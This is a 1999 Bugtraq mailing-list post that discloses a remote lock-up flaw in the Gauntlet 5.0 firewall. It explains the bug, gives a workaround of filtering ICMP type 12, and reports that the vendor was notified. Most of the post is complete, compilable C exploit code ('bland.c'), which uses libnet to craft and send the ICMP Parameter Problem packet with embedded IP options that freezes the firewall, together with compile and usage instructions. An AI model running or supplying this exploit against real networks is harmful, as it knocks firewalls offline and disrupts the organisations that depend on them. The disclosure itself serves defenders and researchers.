Bugtraq mailing list archives

Remotely Lock Up Gauntlet 5.0


From: frantzen () EXPERT CC PURDUE EDU (Mike Frantzen)
Date: Fri, 30 Jul 1999 11:03:07 -0500


/*
 * Discovered and written by:  <godot () msg net>          <- Send money to :-)
 *     aka     Mike Frantzen   <frantzen () expert cc purdue edu>  <- Reply to
 *
 * Network Associates:  "Who's watching your network?"
 * MSG.net              "Who's watching the watchers?"
 *
 * This can be found online at http://www.msg.net/firewalls/tis/bland.c
 *
 * Description:
 *  If you know an IP that will be routed through a Gauntlet 5.0 Firewall,
 *  you can remotely lock up the firewall (tested against Solaris 2.6 and
 *  BSDI).  It locks up to the point that one packet will disable STOP-A
 *  (L1-A) on Sparcs and ~3-5 packets will disable Ctrl-Alt-Del on BSDI
 *  (Ctrl-Alt-Del still prompts Y/N but it never reboots).
 *
 *  **You can NOT send this to the Gauntlet's IP.  The packet must be one
 *  **that would go through the forwarding code.
 *
 *  If you are on local ether to the firewall, set it as your default route
 *  or otherwise send the packet to the firewall's MAC.
 *
 *  The packet is parsed before the packet filtering rules in Gauntlet.  So
 *  the only known work-around is to ACL out ICMP type 12 at your screening
 *  router.
 *  Or you could switch to Gauntlet 5.5 which (in the beta) does not seem to
 *  be vulnerable -- but 5.5 introduces some new 'issues'.
 *
 *
 * Technical Description of the packet:
 *  The packet is an ICMP Paramater Problem packet that encapsulates an IP
 *  packet with IP Options.  There is a random protocol in the encapsulated
 *  IP packet.  The trick is:  the inner packet MUST have IP Options.  Some
 *  options work, some don't.
 *  The firewall apparently is looking for the packet (or an entry in its
 *  transparency table) that matches the encapsulated packet.  It just keeps
 *  looking....  It likely has interrupts masked off on Solaris.
 *
 *
 * You need libnet to link this against.  It's a pretty spiffy lib.
 *   http://www.infonexus.com/~daemon9/Projects/Libnet
 *   http://www.packetfactory.net/libnet
 *
 *
 * For da script kiddies:
 *   Compile with 'gcc -o bland bland.c -lnet'
 *   ./bland -d <ip through the firewall>
 *   (Did you remember to install Libnet???)
 *
 *
 * If it doesn't compile on your machine:  I DON'T CARE!!!  This program was
 * a quick and dirty hack.  You try reading a hexdump of a packet off the
 * wire and writing something that can reproduce it.
 * I know it compiles and works from FreeBSD 3.1
 *
 *
 * Network Associates (TIS) was notified two weeks ago and they are working
 * on a patch.
 *
 *
 * Plugs:
 *  ISIC --  Program I used (and wrote) to find bugs in Gauntlet's IP stack.
 *           http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
 *  Libnet --  Was able to write the basic exploit in 20 minutes because of
 *           libnet.  See libnet link above.  Thanks go out to Route!
 *
 *
 * Credits:
 *  Mike Frantzen <frantzen () expert cc purdue edu>    Hey, thats me!
 *  Mike Scher <strange () cultural com>
 *  Kevin Kadow <kadokev () msg net>          <-  Gauntlet Random Seed Hole
 *  Lenard Lynch <llynch () tribune com>
 *  Viki Navratilova <vn () msg net>
 */

#include <libnet.h>

int main(int argc, char **argv)
{
        u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
        u_long *problem = NULL;
        u_char *packet = NULL;
        int sock, c, len = 0;
        long acx, count = 1;
        struct icmp *icmp;
        struct ip *ip;

        /* It appears that most IP options of length >0 will work
         * Works with 128, 64, 32, 16...  And the normal ones 137...
         * Does not work with 0, 1 */
        u_char data[] = {137};
        int data_len = sizeof(data);

        printf("Written by Mike Frantzen...  <godot () msg net>\n");
        printf("For test purposes only... yada yada yada...\n");

        src_ip = inet_addr("10.10.10.10");

        while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
          switch(c) {
                case 'd':       dst_ip = libnet_name_resolve(optarg, 1);
                                break;
                case 's':       src_ip = libnet_name_resolve(optarg, 1);
                                break;
                case 'D':       ins_dst_ip = name_resolve(optarg, 1);
                                break;
                case 'S':       ins_src_ip = name_resolve(optarg, 1);
                                break;
                case 'l':       data_len = atoi(optarg);
                                break;
                case 'c':       if ( (count = atol(optarg)) < 1)
                                        count = 1;
                                break;
                default:        printf("Don't understand option.\n");
                                exit(-1);
          }
        }

        if ( dst_ip == 0 ) {
            printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
                rindex(argv[0], '/') == NULL ? argv[0]
                                        : rindex(argv[0], '/') + 1);
            printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
            printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
            exit(-1);
        }

        if ( ins_dst_ip == 0 )
                ins_dst_ip = src_ip;
        if ( ins_src_ip == 0 )
                ins_src_ip = dst_ip;

        if ( (packet = malloc(1500)) == NULL ) {
                perror("malloc: ");
                exit(-1);
        }
        if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
                perror("socket: ");
                exit(-1);
        }

        /* 8 is the length of the ICMP header with the problem field */
        len = 8 + IP_H + data_len;
        bzero(packet + IP_H, len);

        libnet_build_ip(len,                    /* Size of the payload */
                0xc2,                           /* IP tos */
                30241,                          /* IP ID */
                0,                              /* Frag Offset & Flags */
                64,                             /* TTL */
                IPPROTO_ICMP,                   /* Transport protocol */
                src_ip,                         /* Source IP */
                dst_ip,                         /* Destination IP */
                NULL,                           /* Pointer to payload */
                0,
                packet);                        /* Packet memory */

        /* ICMP Header for Parameter Problem
         * --------------+---------------+---------------+---------------
         *| Type (12)    |    Code (0)   |      Checksum                 |
         * --------------+---------------+---------------+---------------
         *| Pointer      |              unused                           |
         * --------------+---------------+---------------+---------------
         * Internet Header + 64 bits of original datagram data....
         */

        icmp = (struct icmp *) (packet + IP_H);
        problem = (u_long *) (packet + IP_H + 4);  /* 4 = ICMP header  */
        icmp->icmp_type = ICMP_PARAMPROB;
        icmp->icmp_code = 0;            /* Indicates a problem pointer */
        *problem = htonl(0x14000000);   /* Problem is 20 bytes into it */

        /* Need to embed an IP packet within the ICMP */
        ip = (struct ip *) (packet + IP_H + 8); /* 8 = icmp header      */
        ip->ip_v        = 0x4;                  /* IPV4                 */
        ip->ip_hl       = 0xf;                  /* Some IP Options      */
        ip->ip_tos      = 0xa3;                 /* Whatever             */
        ip->ip_len      = htons(data_len);      /* Length of packet     */
        ip->ip_id       = 30241;                /* Whatever             */
        ip->ip_off      = 0;                    /* No frag's            */
        ip->ip_ttl      = 32;                   /* Whatever             */
        ip->ip_p        = 98;                   /* Random protocol      */
        ip->ip_sum      = 0;                    /* Will calc later      */
        ip->ip_src.s_addr = ins_src_ip;
        ip->ip_dst.s_addr = ins_dst_ip;

        /* Move our data block into the packet */
        bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);

        /* I hate checksuming.  Spent a day trying to get it to work in
         * perl...  That sucked...  Tequilla would have helped immensly.
         */
        libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);

        /* Bah...  See above comment.... */
        libnet_do_checksum(packet, IPPROTO_ICMP, len);

        printf("Sending %li packets", count);
        for (acx = 0; acx < count; acx++) {
           if( libnet_write_ip(sock, packet, len + IP_H)  < (len + IP_H))
                 perror("write_ip: ");
           else printf(".");
        }
        printf("\n\n");
        return( 0 );
}


Current thread: